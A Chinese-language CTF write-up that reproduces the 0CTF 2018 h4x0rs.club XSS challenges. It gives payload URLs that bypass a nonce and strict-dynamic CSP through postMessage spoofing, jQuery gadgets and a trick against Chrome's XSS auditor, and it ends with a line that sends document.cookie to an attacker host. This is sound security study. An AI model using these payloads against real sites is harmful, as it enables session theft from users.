0CTF h4x0rs.club1/2 复现

周末肛了一下0ctf,发现自己依旧那么菜。一道题也没解出来,成功的再一次拖了队伍后退。

今天发现国外大佬们已经开始放wp了。于是自己学习一波,复现一下。

先吐槽一波

h4x0rs.club1

Flag is biography of the administrator. There are more than one way to get this flag.

h4x0rs.club-https://h4x0rs.club/game/

backend_www got backup at /var/www/html.tar.gz

h4x0rs.club2

Get document .cookie of the administartor.

h4x0rs.club-https://h4x0rs.club/game/

backend_www got backup at /var/www/html.tar.gz

Hint: Get open-redirect first, lead admin to the w0rld!

两道题好像是一起放出来的,看完题目介绍时,分析了一会,自己是懵的。因为同样是xss题,总感觉第一题要比第二题难好不好。

而且看到那个hint给的源码,很懵,到底要怎么读源码。。

因为网站是在 /var/www/html/ 目录下的。

然后随着第一题做出来的人,越来越多,第二题做出来的人寥寥无几。自己心虚了。感觉应该不是同一种方式,怀疑第二题难道cookie做了httponly?我去,想都不敢想啊,这该怎么拿。

事实证明,我想错了。

h4x0rs.club1

对,真的是想错了,一直在以xss的方式想题。

谁能知道第一题竟然是弱口令!当队友通过 admin

admin 登录成功时,自己。。。。

我真的不知道该说啥好。

对,第一题就这么解开了,登陆后就可以进资料看到flag了。

h4x0rs.club2

好了,不闹,现在开始正式做题。我先理一下我之前的思路吧,可能篇幅有点长。

但看完老外的wp,发现最后结果依旧很简单。

0x01 分析站点

因为这道题是xss题目,首先先看一下是否存在csp。此时发现果然有。

default-src 'none'; 指定默认的所有属性值为none,即什么都不加载

img-src * data: ; 指定图片允许加载任何网站,及通过data加载

script-src 'nonce-d27eedc90fc6036829cb4d92e898f0d8'; 只允许加载带nonce属性的srcipt

style-src 'self' 'unsafe-inline' fonts.googleapis.com; 允许加载本域css,允许加载内嵌于html中的css,允许

加载来自google那个域的css

font-src 'self' fonts.gstatic.com; 字体,其余同上

frame-src https://www.google.com/recaptcha/; iframe,同上

看到后,会发现,这样一限制基本没有了机会去xss。

并且他还关闭了缓存:

Cache-Control:no-store, no-cache, must-revalidate, max-age=0

Cache-Control: post-check=0, pre-check=0

拿到这些信息后,先放一放,然后继续分析逻辑

进入后,发现是个游戏站点。需要登录,并且默认登陆后自动注册。

登录之后发现是一个猜宠物的小游戏。(默默说一句,国际赛请自备梯子以及谷歌翻译。)

左上角翻译如下:

那只神奇宝贝是谁?是大家都知道的游戏,不是吗?

  1. 点击播放
  2. 猜猜神奇宝贝的名字
  3. 回答

所以可以明白这个游戏是干啥的了。

游戏逻辑:点击左下角三角开始,然后在右边的窗格内会显示宠物与选项,还有一个输入框。输入对了就会

加分。

还好题目已经提示是拿管理员cookie,即xss。

否则真的会以为和HCTF2017那个打到100级一样。这点还是要赞一下0CTF的。

所以,直接分析其他点

  1. LOG OUT:登出
  2. PROFILE:个人资料,可以修改简介。
  3. SCOREBOARD:排行榜
  4. 小鸟:分享到Twitter

首先登出没啥好看的,直接取看了profile。

发现有一个textarea,尝试写入以下语句闭合textarea,发现可以用。

</textarea><img src=#>

此时成功引入了一个img标签。但是如何看到这页呢?因为这页的url是

https://h4x0rs.club/game/profile.php ,所以admin看的肯定是他的。

此时发现有奇怪的public与private,即,一定存在其他页面可以访问资料。

于是继续看SCOREBOARD,发现是个排行榜,显示着每个人的成绩,后面还有个小捕捉球,可以点击。

点进去即可查看其他人资料。并且还可以向管理员反馈此页的违纪信息。

所以,此时可以获取到我的资料链接 https://h4x0rs.club/game/user.php/yourname

然后回到刚刚页面,写入 <img src='youvps'> ,将我的资料链接提交给admin,

然后很愉快的在主机上接收到了一些该服务器的信息。

不要问我为啥不写js,csp限制的那么狠,你告诉我js怎么写!怎么写!

而且大多数时候,写img,可以测试一下是否存在这个点。自己蛮喜欢先拿他测试。

发现Chrome版本为65。此时无法使用 Chrome < 62 UXSS(CVE-2017-5124) ,只能通过其他方式来找绕过nonce的方法。

继续看,看到了主页面url的一个奇怪点 https://h4x0rs.club/game/?msg=Welcome

url长这个样子,你们想到了什么。首先随便输一点,然后F12,ctrl+F 搜索刚刚输进去的。(xss挖掘必备技巧)

发现此处也存在后端未过滤加载欢迎语。不多做介绍,趁比赛没关,大家可以试试。

然后分析network,发现引入了一个外域的东东,

进一步发现主页是通过引入一个iframe来加载的这个页面。

然后发现这个引入的页面里有一堆的js代码。

而且network那里还有不断发送的请求。

所以猜测,游戏是在与一个其他服务器上通信,所有的游戏资源都在那里。

仔细分析引入的js可以发现。他是在和另一个页面,即socket进行通信。有以下几个功能

1. ping:测试是否在线

2. question:获取问题

3. answer:判断答案是否正确

4. badges:获取一个徽章

最终在队友指点下,了解到badges处含有文件读取漏洞。于是成功脱下源码。(不过多介绍了,本来就挺长了)

然并卵,什么都看不出来,尤其是有个防止叫csrf的页面,更是让我欲仙欲死,从csrf方面想了半天。

然后继续,又发现加载了一下js

其实一开始没有太过在意这些js ,将其理解为了一些库之类的,毕竟app.js四千多行(真心难受,事实证明,我应该多看看的,里面有个非预期解)。

所以可以看出该游戏由两部分构成:前端页面(https://h4x0rs.club/game/)和后端页面(https://backend.h4x0rs.club/backend_www/)

分析原理,可知。

首先通过加载iframe,来获得一个通以及token,来供两个页面进行通信。

然后通过postMessage来与iframe进行通信,iframe再将信息通过websocket发送到socket.php。

0x02 思考利用

首先,我们整理一下刚刚的发现:

1. script标签强制要求带nonce

2. bot 为 Chrome/65.0,无法使用uxss

3. 没有开启缓存

所以可以知道题目要求,让我们想办法绕过nonce,从而执行js,获取到管理员的cookie。

此时想到利用缓存,来绕过nonce,但是没有开启缓存,这个很无奈了。(百度 nonce 缓存 绕过,有资料)

然后开始寻找如何绕过nonce,然而没用啊。

最后看完大佬的wp,让我更加坚信,绕过nonce就那几招,

1. 缓存

2. uxss

3. rpo

4. 自身js代码逻辑漏洞

分析js,发现登录后的主页面有这么一句js,蛮可疑。

猜测,可不可以构造一些怪怪的名字比如 "alert(1);// ,好吧,事实证明,我想多了。

竟然限制username。只允许小写字母和数字以及下划线。还要求5-16位。这就比较难受了。

然后看到一个4000行+的app.js。(当时自己坚定的将心都放在了websocket上。因为拖到源码,看到了那边有csrf的字样,还有enable_cors字样,把自己引导到了cors。这里依旧不细说了,毕竟这个坑挺深,一说又几千字了。)

做了两天。。两天,没做出来一道题,心塞!

【正解】几天后的今天

wp出来后,第一时间去看了一下。发现出题大佬真心6。膜一下。

主要考点有一个csp中的strict-dynamic。

Content‐Security‐Policy:script‐src 'nonce‐e4a725db62632e28cdcc1ac70a15a572' 'strict‐dynamic';

由于自己之前看csp规则时,忽略了不同页面配置有不同规则。没有注意到这一点,并且对这里不熟悉。

这次搜索后发现,这个规则是信任通过js加载进来的js代码

即,如果是被已经信任的js,所动态加载的代码都是可以执行的。

所以,这样一来,分析前端client.js代码与后端index.js交互逻辑可以发现以下问题。

前端client.js接收后端badge,并且渲染

此时调用badge,渲染时没有对data.title进行转义,直接输出。

这样一来,可不可以修改一下这个data.title值呢,

接下来,继续看他的去向。

首先是前端client.js发送内容 badge时的参数,将username+got badge作为title发送。

以及后端index页面接收badge时的js,依旧输出title,基本没做什么变换。

此时,小伙伴们可能就会以为,唉,没办法了。(啥,你又想起来改username了?难道忘了刚刚的教了?)

然而出题人就在这里搬了个小板凳等着。

既然没办法修改值,为什么不尝试伪造呢?

因为后端index不知道是谁给他通过postMessage发送的信息。但是,他却将所有信息都发送到了最顶级窗口。

后端主页js代码

所以说,我们可以搬个小板凳,坐在前端和后端中间,然后悄悄告诉后端一个假的title,这样,后端再将他发到前端。嘿嘿嘿。想想就开心

此时大家可能有疑问,为什么不直接化个妆,假装是后端呢,非要搬个小板凳坐中间。

因为前端对接收的信息做了验证。

但后端可没有做这个验证。其实大部分开发也是这样,因为后端不一定只给一个网站做后端。故有些站长会忽视掉验证。

但该题后端还真验证了,而且验证的真心迷,大概是怕谷歌抄袭他游戏吧。

所以还是乖乖搬小板凳吧

不知还记得刚刚哪个msg么。此时他就有用了哦。可以通过它将我们的eval.html作为iframe引入。然后起到欺骗的效果。

借一下出题人大佬的图

然后即可构造

https://h4x0rs.club/game/?msg=

<iframe name=game_server src=//eval.com/test/eval.html></iframe>

此时遇到一个很尴尬,很尴尬的问题。他被Chrome的安全策略拦截了!!拦截了!这还日个毛线的站。

但是,大佬却提出来了一个新思路,并且带来了一个新的洞洞。

先说洞洞吧。

查看他人资料页里,含有这么一句js

看似没用,但是看过大佬的思路后,顿时感觉汗颜,还是自己太年轻啊!

Chrome拦截策略是,当你在url通过iframe引入其他域页面是,进行拦截,所以,我们完全可以引入一个本域的页面。

即引入一个用户eval1的资料页面,并且在这里。可以通过a标签,搭配刚刚哪个洞洞来进行跳转到eval.html。

此时,继续开始开开心心的尝试。

在eval1资料页面写入以下信息

<a href='//eval.com/test/eval.html' id=report‐btn></a>

然后访问

https://h4x0rs.club/game/?msg=

<iframe name=game_server src=/game/user.php/eval1#report></iframe>

成功拿到自己的cookie,开心!

然而。。。。好景不长。就当我刚刚把这个链接提交后。

老哥,别闹,我真的没骗你。我提交的是你主页链接啊,这里有人写违法字符,不信你看!

好了,不闹了。。此时此刻,发觉主页是无法提交的。此时心中一曲凉凉将要送给自己。

但是,突然想到大佬的教诲。既然刚刚哪个都成功解决了,为何不能在写一个user的资料,跳转一下呢?

默默注册eval2,资料填写如下:

<a href=//h4x0rs.club/game/?msg=

<iframe name=game_server src=/game/user.php/eval1#report id=report‐btn></a>

哈哈哈,机智如我,此时提交eval2的链接试一下。

成功获取到cookie

p.s.我一猜肯定有人要问我用的什么平台。自己搭的ezxss,话说这个真心好玩!

【某非预期解】依旧是今天

时刻关注ctftime,寻找writeup,看到某篇了writeup。然后心塞塞了。4000行的app.js处果然是有问题的。

某大佬,成功审计出一处漏洞,来来来,大家一起分享一下。

$(".js‐user").append($("#audiences").html())

首先别的先不看(看也看不懂),大家应该能看懂这句话是什么意思吧。

也就是在class为js-user下添加id为audiences内的html代码。即添加以下代码就是可以执行的。

<div id=audiences><script>alert(1)</script></div><div class="js‐user"></div>

不要问为什么,难道忘了刚刚的strict-dynamic了么?

然后,问题来了,插到哪里,怎么插?这里大神是给出了解释。

在校验游戏结果是有这么一句js。所以,我们可以在主页msg中插。

但是,这段代码是要等到游戏执行结束后才可以执行、那该怎么办?

此时我们需要自动开启游戏。

大佬说,他又在client.js发现了这个。

此时的我已经奔溃了,真心服!特别服!贼拉拉的服!

也就是说,此时我们可以构造一个按钮,放在class为js-difficulty的元素内。

直接查看元素,可以发现按钮的代码如下,应该是通过jQuery监听的事件,并处理。

但是,他监听的是哪个属性呢?,一般来说应该是id。但,此时此刻,大佬又说,我们要用那个 js-start-button

的class好吧,那就听你的。

所以最终的点击payload如下

<div class=js‐difficulty><div class=js‐start‐button></div></div>

尝试一下

https://h4x0rs.club/game/?msg=<div class=js‐difficulty><div class=js‐start‐button></div></div>

你会发现,哇塞。果然自动开了局游戏,比按键精灵还爽有没有?

开开心心的插入以下代码。

https://h4x0rs.club/game/?msg=<div id=audiences><script>alert(1)</script></div><div class="js‐

user"></div><div class=js‐difficulty><div class=js‐start‐button></div></div>

然后宝宝就不开心了。Chrome,****。没办法啊,谁叫bot也是Chrome啊,他那肯定不可能把Chrome的 XSS

auditor关掉。

此时此刻,大神又告诉了一个神奇的方式。

什么?加注释就可以么?还是半个。好神奇啊。

所以最终payload如下:

https://h4x0rs.club/game/?msg=<div id=audiences><script><!‐‐alert(1)</script></div><div

class="js‐user"></div><div class=js‐difficulty><div class=js‐start‐button></div></div>

其他的就不用我多说了吧,js里改成 loction.href='youhost'+document.cookie 不过,记得url编码一下,要不+号会被识别为空格。

最后,再膜一下这位大佬。代码审计真心服。

总结

复现完这道题,自己收获蛮大。下面自己总结一下自己的收获,也希望大家看完我的讲解,也能有一定的收获。欢迎评论补充你的收获。

  1. 了解了csp的strict-dynamic属性。
  2. 弥补了一个误区,之前以为csp都是按站设的,没太注意,还可以按不同页面设置不同的。
  3. 对iframe框架的一些通信有了些了解(postMessage)。
  4. 对绕过nonce有了进一步的认识。
  5. 对Chrome XSS auditor的拦截规则有了进一步的了解。
  6. 对js代码审计也有了些许了解。一些骚套路,自动点击,自动跳转。
  7. 发现大佬们真的好强好强好强。

参考资料

  • 出题人官方wp-https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals2018/h4x0rs.club
  • 非预期解大佬wp-https://github.com/lbherrera/writeups/blob/master/0ctf_quals2018/h4x0rs.club/README.md#write-up

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-04-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏IMWeb前端团队

【同行说技术】JavaScript开发的资源总结和心灵鸡汤

? JavaScript一种直译式脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型。它的解释器被称为JavaScript引擎,为浏览器的一部分,...

2399
来自专栏逸鹏说道

2014年国内最热门的.NET开源项目TOP25

如果知道.NET项目在开源中国的git上所占的比重只有5%的话,为什么这个《2014年国人开发的最热门的开源软件TOP 100》榜中.NET项目那么少就是情理之...

4367
来自专栏自动化测试实战

船长带你看书——《selenium2 python 自动化测试实战》(1)

3725
来自专栏不会写文章的程序员不是好厨师

日志那些事儿——日志Logger漫谈

最近在关注限流、降级、监控等系统稳定性方面的技术,反复牵涉到的几个技术名词是日志log,Aop切片。

1782
来自专栏vue+shiro

基于vue(element ui) + ssm + shiro 的权限框架

现在的Java世界,各种资源很丰富,不得不说,从分布式,服务化,orm,再到前端控制,权限等等玲琅满目,网上有句话说,语言框架迭代太快了,我学不动了,不如回去搬...

1K2
来自专栏Youngxj

音乐搜索器 - 多站合一音乐搜索,音乐在线试听源码分享

5.1K3
来自专栏草根博客站长有话说

WordPress 博客微信小程序开发经验分享

说起微信小程序很多站长们应该都不陌生,刚开始的时候明月对小程序也有过关注,后来因为实在是想不出来自己的需求点在哪里留给淡忘了,上个月在看到【守望轩】博客开源的“...

6846
来自专栏腾讯Bugly的专栏

卡卡卡!小萝莉告诉你开发iOS应用如何避免卡顿

iOS应用除了闪退问题会造成用户流失外,还有一个卡顿问题也会惹来许多差评。 最近小萝莉专门研究了应用卡顿问题,并在Bugly中集成卡顿监控上报功能,大家可以动起...

4324
来自专栏编程微刊

2018前端越来越流行的的技术

1555
来自专栏Python绿色通道

使用Python自动化发布文章:(一)

写在前面:坚持解决一个问题,花了两三个小时的时间终于解决了问题,最后我的自动化发布文章的功能终于实现了。

4713

扫码关注云+社区

领取腾讯云代金券